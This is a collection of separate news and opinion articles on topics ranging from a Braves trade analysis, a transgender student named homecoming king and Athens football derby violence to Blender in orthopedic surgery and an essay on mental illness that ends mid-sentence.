-The Houston Astros have been the most aggressive team of the winter, acquiring Brian McCann, Josh Reddick, and Charlie Morton in the last few days, as they attempt to make their move from contender to division-favorite. The second most aggressive team so far? Probably the Atlanta Braves.  They started off the hot stove season last week by signing Bartolo Colon and R.A. Dickey to help fill out the back of their rotation. And now, according to reports, they’re aiming for an ace.  Braves are aggressively swapping offers for starting pitchers. Rival officials think Braves and Astros will add the most help this winter. — Buster Olney (@Buster_ESPN) November 16, 2016  More specifically, there’s this from David O’Brien of the Atlanta Journal-Constitution.  They’ve had talks with teams about trading for still another starter, most notably Chris Sale, 27, a native of Lakeland, Fla. The five-time All-Star left-hander is under contractual control for three more seasons at below-market rates — $38 million total in that three-year span including two option years — and has finished in the top five of the American League Cy Young Award balloting for four consecutive seasons after finishing sixth in his first season as a starter in 2012. The Braves have also inquired about the Rays’ Chris Archer and Athletics’ Sonny Gray, but Sale is their focus, a person familiar with the situation said. The price for Sale could be enormous, likely a package including multiple top prospects. The Braves have said they’re not at a point in their rebuild where they’re ready to trade top prospects to fill in gaps, but to get an ace they seem at least willing to consider changing that plan.  On the one hand, this shouldn’t be that surprising: GM John Coppolella is a strong believer in the value of starting pitching, and especially so, in the value of frontline aces. This the kind of pitcher the Braves are always going to be looking for under his watch, and given that they’ve been outspoken that they want to win sooner than later, it shouldn’t be that surprising to see them pursuing players who could significantly improve their roster. Especially with their new stadium opening up next spring, the Braves don’t want to put a bad product on the field, potentially wasting the revenue boost that comes from opening a new ballpark.  But on the other hand, before the team aggressively turns future assets into present value, the Braves should make sure they’re not following in the footsteps of the Arizona Diamondbacks, whose desire to push their window to win forward by a year or two ended up doing a tremendous amount of destruction to the organization.  Of course, the Braves are intimately familiar with that destruction, since they caused most of it when they agreed to the Shelby Miller trade, robbing the Diamondbacks of Ender Inciarte, Dansby Swanson, and Aaron Blair. The former pair are primary reasons why the Braves look at their 2017 roster and see a team that could be okay next year. The Braves landed their franchise shortstop and starting center fielder by exploiting Arizona’s mistaken belief that they were ready to take a big step forward, despite a roster that lacked depth and projected around .500 at best.  But now the Braves seem to be in a similar position, wanting to win sooner than later, but without enough talent to make that something they should plan for in 2017. For instance, here’s a graph of rough projected win totals heading into the winter, from Jeff Sullivan’s post two weeks ago.  Three teams, at that point, projected for fewer than 70 wins; the Brewers, Padres, and the Atlanta Braves. Yes, this was before they signed Colon and Dickey, so now they project closer to 72 or 73 wins, but that’s still a very long way away from legitimate contender status. And even if we gave them Chris Sale, without subtracting any significant major league players from their roster, they’d realistically be looking at a 76 or 77 win projection heading into 2017.  So even if they managed to land Sale without giving up anything off their big league roster — good luck with that, by the way — they’d still be something like 10 wins shy of Wild Card status. And while no projection system is perfect, it’s just not realistic to argue that Steamer is misevaluating the Braves current talent level by 10 wins.  Looking at their current depth chart, there’s a decent argument that Steamer is a little too low on a few of their players. Ender Inciarte is projected for +2 WAR in 600 PAs, when he’s averaged +3.6 WAR per 600 PAs in the first three years of his career. Steamer’s being pretty cautious with its projection of Inciarte’s defensive value, but I’d take the over on him putting up a +5 UZR next year, and think he’s probably more of a +3 WAR player than a +2 WAR guy. So that’s one win.  Steamer’s also projection Julio Teheran to take a big step backwards, but he’s averaged about an extra win every 200 innings above and beyond what his fielding independent numbers suggest, so this forecast is probably low for him too. Let’s be generous and give them a full extra win for Teheran, even though that’s probably overly optimistic. So we’re up to two extra wins.  After that, it gets sketchier. The Braves believe Nick Markakis and Matt Kemp are better than we think, so you can maybe give them another win if you think those guys are underrated by our metrics for whatever reason. Like I said, we’re being generous. So if you think two below average outfielders, one 33 and the other 32, are going to defy aging, then hey, we’re up to three extra wins.  But we’re also just running out of places to find extra wins. Dansby Swanson is already projected as a league average regular, and while the Braves have plenty of reasons to believe in his long-term potential, expecting more than that in 2017 is probably not wise. Adonis Garcia? Jace Peterson? Whoever they get to replace Tyler Flowers as their catcher? Again, maybe you’re looking at a win here or there, maybe.  Unfortunately, the Braves could trade for Sale and Chris Archer and still not project as contenders in 2017. It would be a good rotation, but the Braves position players would still project to be among the worst in baseball, and this big bet on starting pitching carrying not-good-enough hitters was the same failed gamble Arizona made last winter. And, of course, it’s not like Sale and Archer are going to come cheaply, so more realistically, the Braves would have to give up something off their big league roster to acquire either one, reducing the marginal improvement that came from adding either pitcher.  And yes, the Braves can argue that acquiring Sale or Archer or whoever isn’t just about 2017; they’d have those guys in 2018 and beyond, so it wouldn’t be only a win-now gamble. But Dave Stewart made these exact same claims last year when they punted their future to land Shelby Miller, talking about a three-year window that opened up with the acquisitions of Miller and Zack Greinke. And it’s just as faulty a plan now as it was then.  Because to buy Sale or Archer’s value in 2018 and beyond, you have to also pay the 2017 wins that the White Sox or Rays are selling, and those wins are extremely valuable to teams that are ready to win this year. In order to be the high bidder, the Braves will have to pay a high price, and unfortunately, they’re not in a position to take advantage of Sale’s value in at least one of the three remaining years he has left on his deal. And if the young players don’t take the step forward that the team is counting on, they might not be in a position to take advantage of his value in 2018 either, and then they’ll have paid a massive price to land a short-term upgrade to help a non-contender finish in the middle of the pack.  The bidding for Sale is going to be absurd, especially with a limited supply of alternatives for teams to go after. The Braves are probably not in a position to capitalize on his 2017 value, so paying a premium to land a guy whose going to churn through a good chunk of his value in the short-term is a great way to reduce the organization’s chances of winning in 2018 and beyond, and the uptick in their chances in 2017 just aren’t worth it.  That isn’t to say the Braves shouldn’t try to improve. They need a catcher, a second baseman, a third baseman, and an outfielder to eventually replace Markakis and/or Kemp, when those guys stop hitting enough to justify their line-up spots. There are plenty of places where the team can make improvements to improve the quality of their 2017 product, and they can do so by getting guys who aren’t just stopgaps, but who could help the team in 2018 and beyond as well. It won’t be as sexy as landing an ace like Sale, but it also won’t risk wasting a good chunk of the future value the team has been accumulating.  I know it’s tempting to want to win in 2017, and I know the 37-35 record in the second half makes it feel like winning isn’t that far away. But the guys who helped make the Braves one of the worst teams in baseball in the first half of the season? They’re still around, and in many cases, still being counted on as primary contributors. And there just isn’t enough depth behind the team’s few good players to feel safe about the team’s chances to keep winning if any of their best guys get hurt.  Taking a best-case-scenario approach to deciding when to push all-in is exactly what got Arizona in trouble last year. And for the Braves to justify paying the price for Chris Sale, they’d have to overestimate their chances of winning in 2017 and overestimate the impact of adding a frontline starter. The Braves aren’t at the point where they should make that kind of gamble yet. Let the teams that have a better shot at winning outbid each other for the few good pitchers available in this market. Get better position players, continue building for 2018, and make your big move next winter if the team shows they’re ready to win.  Moving up the timeline is tempting, especially with the new park opening. But it’s probably a trap, and one the Braves would do well to avoid.
-A 17-year-old boy who says he was kicked out of his former Christian high school for being transgender is turning the other cheek ― and adjusting his crown ― after being named homecoming king at his new school.  Stiles Zuschlag was bestowed the social accolade at Noble High School’s homecoming game in North Berwick, Maine, on Friday night, just one month after beginning his senior year at the public school.  “This experience feels like a dream. It’s something I never thought could have happened to me,” he told HuffPost by email on Sunday.  The Cinderella moment followed Zuschlag making national news last week after he was told that he was no longer welcome at Tri-City Christian Academy in Somersworth, New Hampshire ― roughly seven miles southwest of Noble High. It followed him transitioning from female to male in 2015, he told the Seacoast Online at the time.  Zuschlag, who said he had a 3.89 GPA and aspired to be valedictorian, said he went to speak with a school administrator in August about being identified as a male but was instead given an ultimatum. He had to confess his sins, stop taking testosterone treatments and receive Christian counseling or find a new school.  The school administrator, reached for comment by Seacoast Online, declined to speak about Zuschlag’s case citing privacy issues. A request for comment from the school by HuffPost was not immediately returned.  Though the idea of attending a new school “terrified” him, he enrolled at Noble High and made a number of new friends, adding to a few that he already knew.  Administrators at Noble High School, reached by Portland station WCSH-6, said Zuschlag is not their first transgender student.  Definitely your homecoming king 👑 pic.twitter.com/gUsgJXcyJ0 — Stiles Zuschlag 🌐 (@Scalyeragon) October 8, 2017  “We want all students to feel like they belong here at Noble High School,” the school’s director of counseling, Nancy Simard, told the station. “That’s a small thing we can do to help them feel like they’re a part of the community.”  That welcoming feeling apparently wasn’t lost on Zuschlag.  Within the first few weeks of school, Zuschlag said an email began circulating seeking nominees for homecoming king and queen and he decided to pursue it, initially “as a joke.”  “I asked on Snapchat as a joke to put me in and people actually did it. I didn’t really expect them to. I still can’t believe they did that for me,” he said.  His surprise was only magnified when he showed up to the game and won.  “After I won at the homecoming game, I almost started crying. My friends all put me in, people I didn’t even know put me in, everyone voted for me on the final ballot,” he said.  I almost started crying. My friends all put me in, people I didn’t even know put me in, everyone voted for me on the final ballot."  Today, as painful of an experience as this has been, he sees his removal from the New Hampshire school as a blessing from God ― one that he hopes will raise awareness and inspire others.  “I’ve been degraded so much in the past, I’ve conformed to other people’s beliefs and standards just to make them happy and comfortable. I’ve put myself in situations really hurtful to my mental health just to keep peace,” he told HuffPost.
-Please enable Javascript to watch this video  CHARLOTTE, North Carolina - A North Carolina woman feels she is being discriminated against after being turned away for a pedicure based on her size.  Tiffany Nelson says when she walked through the doors of QC Nails for a pedicure, she was told, "No, we're not doing that anymore for you. Our chairs will break, you're too big of a girl to sit in our chairs."  "That's not okay," Nelson told WCNC-TV. "It's not okay to body shame people. It's not okay to discriminate against anyone."  A nail salon owner in Tennessee has also banned obese customers after he says a couple of expensive spa chairs were broken by their weight, costing him more than $2,200.  In Nelson's case, she says weight should not determine whether a person is granted service.  "My heart just hurts for other women who don't know what to do or who are afraid to speak up. You should be happy just the way you are," Nelson said.  It is not against the law for a private business owner to deny service if weight will damage their property.  However, Nelson believes that the new weight limit policy should be posted for all customers to see before entering the nail salon.  The owner told a reporter he does plan to post signs as soon as he finds out the maximum weight limit from the manufacturer of his spa chairs.
-Former Sale Sharks player Cillian Willis is to sue the club for alleged clinical negligence over a career-ending concussion  Sports scientists are to research the long-term health effects of playing rugby, including the implications for those who suffer concussion.  Retired amateur and professional players across the UK will be assessed as part of a university study.  A Rugby Football Union report in March found there were 645 injuries in the 2014-15 Premiership season, with their severity the highest since 2002.  The research will also explore muscle, bone, joint and cardiometabolic health.  Cardiometabolic risk refers to the chances of having diabetes, heart disease or a stroke.  The study - by UK RugbyHealth - follows research in 2015 that pointed to links between frequent concussion and brain function, as well as the Cillian Willis case.  Former Sale Sharks player Willis, 31, is to sue the club for alleged clinical negligence over a career-ending concussion. Sale are yet to comment.  The Carnegie Research Institute at Leeds Beckett University will lead the study, alongside researchers at the Auckland University of Technology (AUT) and the University of Aberdeen.  Dr Karen Hind, senior research fellow at Leeds Beckett, said: "Our project will examine links between concussions and future health.  "But it is also a broad study of how people who played rugby are getting on later in life. "
-Olympiakos start Sunday's Athens derby three points ahead of Panathinaikos  Petrol bombs, flares, firecrackers and fights. And that's just on the pitch.  Welcome to derby day in Athens, where recent meetings between Olympiakos and Panathinaikos have also seen fans start fires in the stands and attempt to torch the team coach of their fierce rivals.  The last time Greece's two major powers met, in March, Panathinaikos manager Yannis Anastasiou was left sprawled on the touchline after being hit by an object thrown from the crowd.  Panathinaikos boss Yannis Anastasiou lies on the ground after being hit by an object thrown by fans  The latest staging of the fixture known as the 'derby of the eternal enemies' takes place this Sunday and could have an English flavour to it in the shape of former Manchester United and Barnsley goalkeeper Luke Steele.  The 30-year-old, who started his career at hometown club Peterborough and signed for Panathinaikos this summer after six years at Barnsley, has already had a taste of what to expect.  "My debut was a cup tie away to a team called Olympiakos Volos, a club based well away from Athens," Steele told BBC Sport.  "It was hostile; there were lots of flares. I flinched when the first firecracker landed near me but you soon get used to it.  "It's more than football to the fans, it's almost like a religion. But I'm ready for it. I just want to play as many games as possible."  A 2012 derby was abandoned after serious rioting broke out and petrol bombs were set off in the stands  Eight miles of Athens roads separate Olympiakos, who are from the port area of Piraeus, and Panathinaikos, based close to the centre of the capital.  Yet the burning hatred between the two runs so deep that it even extends into basketball, volleyball and water polo.  In March 2007, a Panathinaikos supporter died during a clash between fans of the two teams before a women's volleyball match. Ten months later a football supporter was fatally stabbed and another wounded after Olympiakos beat their arch rivals 4-0.  In May 2009, riot police were called as Olympiakos fans threw a flare, plastic bottles and other items at the Panathinaikos bench during a timeout in a basketball match.  Thousands of police are deployed to quell unrest between supporters, even though there is a ban on away fans travelling to the game. Little wonder this is one of Europe's most dangerous derbies.  "There is a lot of trouble in football in Greece in general," says Greek journalist Panos Polyzoidis. "Only a few weeks ago, a fan at a Third Division football match was killed and there were only 200 or so there.  Media playback is not supported on this device A game between Greek local football rivals Olympiakos and Panathinaikos had to be abandoned after it was interrupted by crowd violence  "But it's true that there is a clear hatred when Panathinaikos and Olympiakos meet and it doesn't matter whether it's football, basketball, volleyball or water polo.  "In terms of the social background between the two clubs, Panathinaikos were upper middle class when they were formed 106 years ago. Olympiakos were formed 17 years later in an industrial centre and were seen as a working-class club.  "Both are so huge now that they attract fans from all walks of life. The trouble continues though."  On the pitch, Olympiakos are the dominant force, having won 41 league titles, including the last four in a row. Panathinaikos have not won the title since 2010 when they were crowned champions of Greece for the 20th time.  Serious disturbances broke out in March 2012 when Panathinaikos, who were playing home games at the Olympic Stadium while the future of their traditional Apostolos Nikolaidis home was up in the air, trailed Olympiakos 1-0.  The start of the second half was delayed by 45 minutes as fans pelted police with Molotov cocktails, flares and missiles, and the game was subsequently abandoned altogether.  Fire crews battled to put out fires set off by fans during a derby in March 2012  Twenty police officers were injured and more than 50 arrests were made while three fire engines were called in to extinguish flames as hundreds of fans set alight sections of the stands.  Panathinaikos were docked five points and told to play four games behind closed doors as punishment.  Two years earlier, a late Olympiakos winner by former Blackburn forward Matt Derbyshire prompted Panathinaikos fans to try to set fire to the visitors' team coach.  "The fans are fanatical," Derbyshire, who was nicknamed 'The English Killer' in the Greek newspapers for that goal, told BBC Sport.  Luke Steele: Peterborough to Panathinaikos 2001: After starting career at hometown club Peterborough, invited for trial at Man Utd 2008: Helps Barnsley beat Liverpool at Anfield in FA Cup on debut after joining on emergency loan. Later joins club permanently 2002: Signs four-year deal with United. Wins FA Youth Cup but leaves Old Trafford in 2006 without playing senior game. Joins West Brom as part of deal that takes Tomasz Kuszczak to United 2014: Signs two-year contract with Panathinaikos after Barnsley are relegated to League One. Keeps clean sheet on Greek Super League debut on 28 September, a 1-0 win over Niki Volos  "In derby week, they are all telling you 'you've got to win this. And if you can't win, then for goodness sake don't lose'. They're like 'even if we don't win silverware, then you've got to win this'.  "I will never forget that goal against Panathinaikos. The ball was crossed into the area and I headed it towards goal. The keeper parried it and I smashed in the volley.  "I still get messages from Olympiakos fans about it."  Signing for Panathinaikos... Luke Steele (right) with Panathinaikos technical director and former Newcastle and Leicester defender Nikos Dabizas  Steele will be hoping for an incident-free day after turning down offers from other Championship clubs to move to Greece on a two-year contract following Barnsley's relegation to League One at the end of last season.  "I came over here with just one bag for talks but I agreed a deal very quickly," added the former West Brom player, who lives by the Aegean Sea in the Athens suburb of Glyfada, home to many of Greece's millionaires, ministers and celebrities.  "It's a beautiful country and I'm settling well, I have Greek lessons once a week.  "I had a couple of other offers from Championship clubs but Panathinaikos felt right.  "I had been at Barnsley for six years and I was in a bit of a comfort zone, I wanted to feel some fear and be out of my depth a little bit."  Sunday at the Karaiskakis Stadium should see Steele get his wish.
-The Nova Scotia government is moving ahead on a controversial bill despite pleas from dozens of drugstore owners to shelve it.  Pharmacists claim that capping the price of generic drugs will hurt their bottom line at a time when they are being asked to offer more services.  The province is still trying to determine how to compensate pharmacies for those extra services and it's still negotiating a new dispensing fee.  Opposition parties say the bill should be delayed until those issues are resolved, but Premier Darrell Dexter isn't interested.  "This is about fair drug prices for the people of the province," he said Tuesday. "What the Opposition is doing, of course, is they are really engaging in a process where they would actually drive up the cost of drugs for ordinary consumers across the province."  Dexter said the bill will proceed without amendment and without delay.  The bill would cap the price of generic drugs to 45 per cent of the brand-name equivalent in July, 40 per cent by January and 35 per cent by July 1, 2012.  Pharmacists claim they are losing $4 on every prescription they fill, and the cap would be a financial disaster.  Kim Geldart, who owns three Pharmasave drug stores in Chester, said last week that without higher dispensing fees the generic drug cap could force her to close one of her stores and lay off four to seven pharmacists.
-The Panama Canal has connected the Pacific Ocean to the Atlantic Ocean via one of history's most incredible examples of large-scale engineering. People come from all over the world to witness the canal for themselves. Because Panama is a major hub for those traveling to South America, it's easy to make the most of your layover by booking a one-day tour to the Panama Canal. Before you go, try and get familiar with some of the facts surrounding this incredible place.  The Panama Canal Changed the World  Construction of the canal was begun by the French in 1880. Unfortunately many French and Panamanian people working on the canal's construction died from diseases such as yellow fever and malaria. This caused significant delays in construction and in 1904, the project was purchased taken over by the United States. The canal was completed in 1914. 14,000 vessels now pass through the Panama Canal each year, saving their crews the 7,900 mile trip they'd otherwise have to take around South America's southern tip.  The Three Places to View the Panama Canal  If you want to visit the Panama Canal, there are three main areas you can start from: Panama City, Gamboa and Colón. If you visit the canal from Panama City, where the country's international airport is, head to the Miraflores Visitor Center. To get there, take a bus from Albrook Bus Terminal to the Miraflores sign. From the sign, it's about a 15-minute walk to the visitor's center, and once you're there, you can head to the viewing platforms to admire the vessels passing through the canal or learn about the canal's history at the on-site museum.  Gamboa, a rainforest preserve just 20 minutes from the canal, was built to house the employees of the canal and their dependents. Gamboa lies on the Chagres River and is home to all kinds of tropical wildlife. You can see the canal from Gamboa, but if you take a tour from here, you will be taken to Miraflores as well. Lastly, you can head up Colón on the Atlantic Coast, and board the Panama Canal Railway which partially rides along the water.  It Takes 10 Hours to Pass Through the Canal  Ships need to be slowly and carefully navigated through the canal through a series of locks, a process which takes about ten hours. Some ships must also wait up to 25 hours for permission to begin their journey through the locks. The canal is used by vessels from all of the world, with a majority of trips being made by ships traveling between the east coast of the US and East Asia.  The Tolls are Expensive  Ships are charged a toll to pass through the canal based on their weight. On average this toll is about $150,000, though the largest sum ever paid to pass was $450,000, while the smallest amount was 36 cents, paid by a man named Richard Halliburton in 1928 who wanted to swim across. Luckily, if you want to enter the Miraflores Visitor Center to experience the canal, you'll only need to pay $15.  Take a Cruise on the Canal  Though some people may be fine with observing the canal from Miraflores or from another point, you can also have the unique experience of crossing through the canal yourself. There are many tour companies that run tour boats offering this service, providing tourists with an experience like no other. If you're interested in sailing the canal, then take a look at Panama Canal Tours, where you can choose a cruise or another type of tour.  About the Author Hana LaRock is a freelance content writer from New York, currently living in Mexico. She has spent the last five years traveling the world and living abroad and has lived in South Korea and Israel. Hana has been writing about her travel experiences for several years and has been published in print magazines like Travel Ideas and Ensemble Vacations, as well as websites such as Tour Amigo, The Culture Trip, REI, and Orbitz. Hana has been to nearly 30 countries and counting. Through her experiences, she has learned to navigate the challenges that can come with visiting other countries and cultures. To learn more, visit her website at www.hanalarockwriting.com.
-The planning of orthopedic surgeries is a difficult process. In a lot of ways, it's like working while wearing a blindfold; a surgeon can't see the bone that needs to be worked on until during the actual surgery, when time is most critical. Even with X-rays and CT scans, the raw data can be difficult to interpret correctly. Fortunately, open source software can (and does!) help reduce the guesswork.  At the 2015 Blender Conference, Vasily Shishkin gave a very interesting talk on his research project and use of Blender and 3D printing in the planning and guiding of orthopedic surgery. (Fair warning: There are some graphic images of actual surgeries in his presentation, so please don't watch it if that kind of thing makes you uncomfortable. See the video at the end of the article.)  You may find yourself thinking, "Wait a minute. Blender? The same Blender that's used for making pretty images and animations? That Blender?" Yes. That Blender.  Despite the fantastically cool use case, the process Vasily uses is pretty straightforward. They take CT scans of the bones that they're doing surgery upon, as well as the corresponding healthy bones on the opposite side of the body. Those CT scans are converted into 3D mesh data and loaded into Blender. From within Blender, the mesh of the healthy bones are mirrored and serves as a template for showing the corrective action that needs to be performed on the bones that require surgery. The mesh can even be used to build precise 3D models of guides for aiding the surgical process. Those models get 3D printed and used during the actual surgery.  Of course, this raises even more questions, so I managed to catch up with Vasily after the conference and sling a few of them at him.  I found it interesting that you specifically chose Blender because it isn't a CAD package with a bunch of precision tools. However, you're also using 3D printing, which sometimes needs precision and accuracy. Has the lack of those tools or precision caused any problems for you?  I use Blender because it's not overloaded with special engineering measurement tools for specific purposes such as determining wall thickness of an object or measuring the tension or torsion of materials that differ in density. We don't need that in clinical medicine.  The human body has great adaptation mechanisms. The acceptable overall shortening of the extremities can be up to 4 cm. The body will adapt itself to changes in anatomy if they occur. But when they are severe and cause pain and discomfort to the patient, that's when surgeons come into play. If you miss a couple of millimeters during surgery on a large segment—a femur, for example—that's not a big deal. Smaller localizations obviously require more accuracy. What we need from Blender is 3D visualization to receive information about the deformity and to find a solution for correcting it. As for 3D printing, it works pretty well. We had no problems using it during our interventions.  The accuracy depends mainly on the resolution of the CT data. We use the basic toolset—things like distance and angle measurement. The rest of the calculation is made according to the relative bone alignment of the healthy side.  How complex are the 3D models that you're getting from the CT scans? How does Blender perform with that dense geometry?  The models that we get in Blender can be really big—up to several millions of vertices—and it can be a problem. The less detailed the mesh, the less information we can get from it. Going lo-poly is not possible, as it diminishes details. So, we have to use decimation and re-meshing tools quite accurately in order to keep models informative. Overall Blender does well if you keep the vertices up to a reasonable amount of about 60,000 per model.  Are there any changes that you've made to Blender or changes that you'd like to make in order to make it better suited to how you use it?  I am currently working on an add-on that will allow new Blender users to work with the software straightaway. It's just a number of standard tools implemented in a panel, but I believe it could help people get acquainted with the system quite fast.  How often do you use Blender to plan surgeries?  In our clinic, every complex clinical case gets treated with the use of this system. It depends on many factors, but there is a problematic patient every now and then. At the moment we have such a case once a week for sure. At the moment, the total number of patients treated is more than 80.  You mentioned in your conference talk that you'd like to have a custom script or tool written to better facilitate automatically aligning 3D models. Was there anyone at the conference who was able to help you with that? For the people who didn't attend the talk, could you explain why it would be so useful to you?  The main advantage of this planning approach is that we use the patient's anatomy, relying on 3D CT scan data from the opposite limb as a reference or template for reconstruction. This gives a clear understanding about the amount of correction needed. We superimpose meshes of healthy and deformed bones and align the matching parts so the deviation becomes visible. This is done manually at the moment and takes time. Besides, bone anatomy can be quite complex to understand even for a doctor. Automating the alignment procedure of two similar meshes could help solve this problem.  I've had some people approach me at the conference and had some emails afterwards. The proposals differ: some people are just interested while the others offer their programming skills. So if there is anyone out there who can help or give an advice on how to make automation possible that would be really great.  What do other doctors think of this kind of technology?  When I'm talking about this technique at medical meetings, reactions vary. Some surgeons are fascinated, while the others try to prove me that this thing is useless and there is nothing left to invent in surgery. Physicians are quite conservative, and it's hard to convince them to try something new and think outside the box. But I believe that in the future computer-assisted surgery will be a standard, just as computer-assisted design is in engineering today. After all, people will only benefit from receiving top-notch healthcare.  Blender is a free and open source 3D creation suite. The Blender Conference is an annual event held in Amsterdam for developers, designers, and enthusiasts to learn more about Blender techniques, features, and tools.
-I’ve spoken about how brazen Studio-B can get with their source material before.  How they are approaching that rare status of critical invulnerability for their medium, achieved before only by a select few like Trey Parker and Matt Stone.  Remember the whole “Godzilla because we can” thing? Well you can now replace that with “Clever metaphors about bronydom, whilst simultaneously making a completely unrelated point about personality traits and social stature”.  “Because we can”.  ——–  It’s about time I resumed regular reviews again. I know there are a small handful of you out there on the other side of this screen who have been pestering me to flick the uber-charge switch and pump out more content like quintuplets from a golden galvanised womb of the gods, so after this review I’ll do my darndest to resume regular posting.  It’s just a little bit disheartening for me here on my little blog when shows like Moviebobs “The Big Picture” over on The Escapist do this kind of nerdy social commentary so much better.  Anyway, on to the review…..  ————  I’m curious as to just how many pegs Studio B plan to take Rainbow Dash down before they lose the character they created in the first place. Previously I have stated that the whole reason characters like these ones are introduced as such over the top caricatures is so the writers have somewhere to go with their story development.  The trouble here is that often times we love so dearly the characters they start as that we don’t like to see them change in the slightest. At least that’s how I feel anyway.  ——————  This episode succeeded in precisely the same way that “Find a Pet” did.  It didn’t overcrowd itself with things to do. In fact, this episode had an even more anorexic plot than that one did.  Rainbow gets hurt. Reads a book. Discovers the joy of reading. Yay. What’s next? Eat your veggies?  The less you crowd yourself with plot threads, the more room you have to focus on what makes a pony episode so entertaining in the first place…namely….Indiana Jones homages… new character designs….eating food with your mouth open…all that great stuff.  Where the real meat of the episode lies however, is in the using of its own plotline to closely mirror how most people generaly describe becoming hooked on the show.  —————–  It really is the perfect setup, and could not have been done nearly as well with any character besides Dash, because she’s the sporty, brash one who best resembles a person who would never in a trillion years consider watching a show like My Little Pony……erm…I mean….reading a book. Because books are nerdy and lame and have stupid pages that you have to turn which is lame because it’s gay just like your face.  It’s really brilliant, especially from a storytelling standpoint, to be able to do two things at once and make it look effortless, because let me tell you, writing episodic thread lines is much harder than it seems. To anyone who wasn’t looking for or didn’t understand the references, it would seem like just another colourful candy coloured cartoon for kids. Inserting undertones that resonate with one person yet sails over the head of the next is A-grade storyboarding.  I love how far the writers go in assimilating bronydom into the episodes. Not just because I’m a fan and it makes me squee like Fluttershy whenever it happens, but because they really don’t HAVE to do it at all.  Remember that. They never HAVE to. But they do.  Also, it might seem like shooting yourself in the foot when you promote the joys of reading on a CARTOON, but what I think was really being promoted was the power of a well told story, and a story can be told in any format.  ————————  As to the overarching character development of Rainbow Dash, it’s hard to say at this point whether or not they are slowly chipping her down to become a softie, or just adding more hidden substance to acknowledge when you look into those same wild eyes we met in episode one.  Does her character arc end with her settling down, halting her daredevil attitude, and marrying Bulma?  Or will she remain the same electric adventure Pony she read about in her newfound book?  Either is possible, but all signs point to the latter.  And that’s good, all stories are better with sonic rainbooms.
-Federal investigators have issued a subpoena for records relating to former Trump campaign chairman Paul Manafort, NBC News reports. The subpoena reportedly pertains to a $3.5 million Hamptons home Manafort purchased shortly after leaving the Trump campaign last August. Manafort does not appear to have paid any taxes on the house. NBC News estimates that Manafort should owe $36,750 in taxes on the property.  Manafort took out a loan for the home under the shell company Summerbreeze LLC, which he registered Aug. 19, 2016, the same day he resigned from the Trump campaign following allegations that he received millions of dollars from a pro-Russia group in Ukraine. Manafort’s loan agreement on the home was made with Spruce Capital, an investment firm whose co-founder has partnered on real-estate deals with President Trump, NBC News reports. Spruce Capital is partially funded by Alexander Rovt, a Ukrainian-American developer who attempted to donate $10,000 to Trump’s presidential campaign in violation of campaign-finance regulations.
-When people ask whether mental illness is real or not, my suspicion is that they really mean: does mental illness have a physical, material cause, in the same way as cancer or a broken leg? Can it be tested for, diagnosed and treated with the same certainty as a physical disease? Whatever the answer to that question, it should cast no doubts or aspersions on the very real suffering of people with mental health problems.  When we think of mental illness, we tend to think of categories such as schizophrenia, bipolar affective disorder, depression and anxiety. These categories cannot be verified with objective tests, in the way as, say, cancer or diabetes can. Neither do they tend to stand up to scientific scrutiny as distinct constructs. For people with a diagnosis of schizophrenia, there is no specific treatment or predictable outcome. To take another example, most people with a diagnosis of depression have symptoms of anxiety, and vice versa.  Framing problems as being part of distinct disorders is a powerful thing to do, and loads of the categories that reach our diagnostic bibles appear relatively new, historically. Many can be traced back to the pharmaceutical industry, which has a direct interest in shaping behaviours and emotions into various symptoms, to be sold back to consumers as disorders requiring medication. This has led people to argue that these categories do not represent real illnesses.  Such arguments can come across as diminishing the lived experience of mental anguish, its embodiment, and the potential role of medication. Some mental health problems are less contested than others, and medication does save lives. It would be cruel to suggest a grieving widow unable to cope could not benefit sometimes from anti-anxiety medication, or to deny an option of antipsychotics to quell the intrusive, menacing, persecutory experiences that can accompany an acute psychosis.  Facebook Twitter Pinterest In the City: ‘There is little political will to combine increasing mental distress with structural inequalities.’ Photograph: Alamy Stock Photo  The problem, though, is that the efficacy of such treatments, and the mechanisms by which they work, tend to be oversold and presented as long-term solutions. We are right to be cautious about the overprescription of antidepressants, to take one example. These tend to be prescribed along with a scientifically dodgy idea that the pills are rejigging an imbalance in serotonin, a chemical messenger in the brain. Similarly, emerging evidence suggests that the long-term prescription of antipsychotics may actually hinder recovery for many.  Psychological and social factors are at least as significant and, for many, the main cause of suffering. Poverty, relative inequality, being subject to racism, sexism, displacement and a competitive culture all increase the likelihood of mental suffering – as the survivor-led collective Recovery in the Bin brilliantly illuminates. Add into the mix individual experiences such as childhood sexual abuse, early separation, emotional neglect, chronic invalidation and bullying, and we get a clearer picture of why some people suffer more than others.  Crucially, all of these experiences affect our psychological and physiological makeup. For example, the Adverse Childhood Experiences studies show that childhood trauma, neglect and structural oppressions manifest later not just in mental distress but in chronically inflamed bodies stuck on hyper-alert (this we can pick up through blood tests).  Governments and pharmaceutical companies are not as interested in these results, throwing funding at studies looking at genetics and physical biomarkers as opposed to the environmental causes of distress. Sociologists argue that this is because citizens who consider themselves ill are easier to manage than people who consider themselves maddened by toxic families and injustice.  Mental health practitioners often try to sidestep this whole debate by claiming that most sensible professionals subscribe to a biopsychosocial model of mental distress. But unfortunately such a model nearly always ends up privileging the biological, despite the best intentions of many psychiatrists. As a society, we have a somewhat fetishistic relationship to bodies and brains, a moth-to-light-like attraction to shiny brain-imaging scans or a hint at a breakthrough in genetic research. Correlations between experiences and genetic phenotypes are conflated with evidence for molecular pathways that prove the existence of distinct disorders. Studies with only a few participants generate multiple headlines, and remain entrenched in the public imagination. At the same time, treatments that we know work fail to get funding due to the unconscious bias towards biological explanations.  We must shift our focus to one that validates the lived experience of people who are suffering, however they choose to understand their pain  Consider family interventions. Professionals have known for decades that reducing hostility, criticism and emotional over-involvement in families improves how well people recover from a number of serious mental health problems, regardless of how severe patients’ symptoms are. Yet despite the robust evidence base – up there with medication and individual therapy – family work is rarely available through the NHS.  Similarly, there is little political will to combine increasing mental distress with structural inequalities, though the association is robust and many professionals think this would be the best way to tackle the current mental health epidemic. The idea that mental suffering is a “real” illness residing in individuals, and especially in their genes, can therefore be damaging.  It is also not necessarily what the public wants, despite the current emphasis on the “just like any other illness” narrative. When researchers ask people how they understand mental illness, they tend to prefer psychosocial explanations to medical ones. Simplistic biological explanations tend to increase stigma, not least because they cement a division between ill and well people. Many people have felt silenced and traumatised by such accounts, feeling that the illness model shuts down their truth.  There is an implicit suggestion here that mental health problems have to be viewed as being equivalent to physical illnesses if they are to warrant society’s care and funding. This may inadvertently cement prejudice, given the contested nature of mental illness. Mental health problems are no less real, no less disabling, for occupying a peculiar space between inner and outer, meaning-making and meltdown, the inner world and the environments that shape us.  Rather than clumsily trying to squeeze people’s distress into 